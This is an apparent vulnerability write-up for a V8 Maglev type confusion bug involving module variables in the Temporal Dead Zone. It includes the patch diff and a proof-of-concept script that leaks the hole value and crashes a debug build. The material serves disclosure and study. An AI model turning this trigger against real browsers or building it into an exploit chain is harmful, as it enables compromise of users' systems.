Bug Class: Type Confusion
Patch Link: https://chromium.googlesource.com/v8/v8.git/+/87d8ea13e6e3b22d1c161f500184d4abc02aa049%5E%21/#F1
Issue: Before the patch, Maglev incorrectly assumed that loads from Cell::kValueOffset could never produce TheHole, when accessing a module variable in its Temporal Dead Zone (TDZ) within optimized code. This could lead to unsafe optimization assumptions, invalid value assumptions, or debug assertion failures when TheHole appears at runtime.
Exported module bindings in V8 are represented using Cells (via module environment structures) to support live bindings. When a module variable is accessed before it is initialized (Temporal Dead Zone or TDZ), its value is the special "The Hole" value. The vulnerability lies in how Maglev handles module variables. Specifically, the patch fixes an issue where Maglev failed to account for the possibility that a module variable could be "The Hole" (uninitialized) during optimization.
Before the patch, Maglev’s value analysis incorrectly classified loads from Cell::kValueOffset as never producing TheHole, enabling overly aggressive assumptions during optimization. This incorrect assumption leads to type confusion or assertion failures when the optimized code encounters TheHole value at runtime, as it generates code assuming a valid tagged value.
The patch correctly identifies that LoadTaggedField on Cell::kValueOffset (which supports module variables) can return "The Hole".
// After patch
if (const LoadTaggedField* load = TryCast<LoadTaggedField>()) {
// Module variables can be the hole.
if (load->offset() == Cell::kValueOffset) {
return Tribool::kMaybe;
}
return Tribool::kFalse;
}
This prevents Maglev from making optimization assumptions that require initialized values, allowing normal runtime TDZ checks to execute correctly.
// PoC for CVE-2026-1862 (V8 Type Confusion)
//
// Tested on: V8 pre-patch (commit:d75d178c137447df1a3e8830eae86b0bd72b9ac6)
// Command: ./x64.debug/d8 --allow-natives-syntax --trace-opt poc.js
//
// Crash output:
// # Fatal error in ../../src/api/api.cc, line 865
// # Debug check failed: !IsTheHole(heap_object).
// ...
//
function accessSecret() {
return secret;
}
function trigger() {
%PrepareFunctionForOptimization(accessSecret);
try {
accessSecret();
} catch (e) { }
%OptimizeMaglevOnNextCall(accessSecret);
try {
var hole;
hole = accessSecret();
%DebugPrint(hole);
print("");
print("If %DebugPrint shows a Hole value, vuln trigger is successful, pressing Enter will try printing it and trigger a Crash! ")
readline();
print("hole:", hole);
} catch (e) {
print("Caught expected error: " + e);
}
}
// Trigger the optimization of accessSecret while 'secret' is still in TDZ (The Hole).
trigger();
export let secret = 42;